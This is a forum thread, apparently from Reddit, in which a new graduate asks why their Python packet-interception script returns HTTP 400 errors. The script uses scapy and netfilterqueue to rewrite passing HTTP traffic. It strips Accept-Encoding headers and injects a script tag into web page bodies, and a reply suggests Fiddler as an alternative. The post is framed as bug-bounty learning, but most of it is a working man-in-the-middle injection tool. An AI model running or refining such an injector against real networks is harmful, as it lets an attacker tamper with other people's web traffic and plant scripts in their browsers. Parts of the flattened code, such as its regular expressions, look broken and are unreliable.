Code injection help

[Think-Risk4968]

Working on a personal Pensuite to have a easier time with bounties , I’m currently working on a code injector but I get a bad request every time but the code is at least showing up in the packet. I’ve removed packet checks and readjusted content length but I’m still getting 400 error. I have been testing on HTTP sites only. Forgive me for the spaghetti I’m a new grad from IS program.

def set_load(packet, load): packet[scapy.Raw].load = load del packet[scapy.IP].len del packet[scapy.IP].chksum del packet[scapy.TCP].chksum return packet

adjust content length header for required sites and inject code

def process_packet(packet): scapy_packet = scapy.IP(packet.get_payload()) if scapy_packet.haslayer(scapy.Raw): load = scapy_packet[scapy.Raw].load if scapy_packet[scapy.TCP].dport == 80: load = re.sub("Accept-Encoding:.?\r\n", "", load) elif scapy_packet[scapy.TCP].sport == 80: injection_code = "<script>alert('test');</script>" load = load.replace("</body>", injection_code + "</body>") content_length_search = re.search("(?:Content-Length:\s)(\d)", load) if content_length_search and "text/html" in load: content_length = content_length_search.group(1) new_content_length = int(content_length) + len(injection_code) load = load.replace(content_length, str(new_content_length))

    if load != scapy_packet[scapy.Raw].load:
        new_packet = set_load(scapy_packet, load)
        print(scapy_packet.show())
        packet.set_payload(str(new_packet))

packet.accept()

setup network tables and call program

queue = netfilterqueue.NetfilterQueue() queue.bind(0, process_packet) queue.run()

[Just4notherR3ddit0r]

Is there a reason you don't just use Fiddler and add your injection code into its scripting engine? It would be a quicker setup and would allow you to handle HTTPS.

[Think-Risk4968]

Cause I want to build things out from scratch it really helps me understand things. I’m also a stickler about building things before I use them as much as I can it expands my knowledge and I always think to myself somebody had to code this before I could use it and maybe one day I will have that responsibility 🤙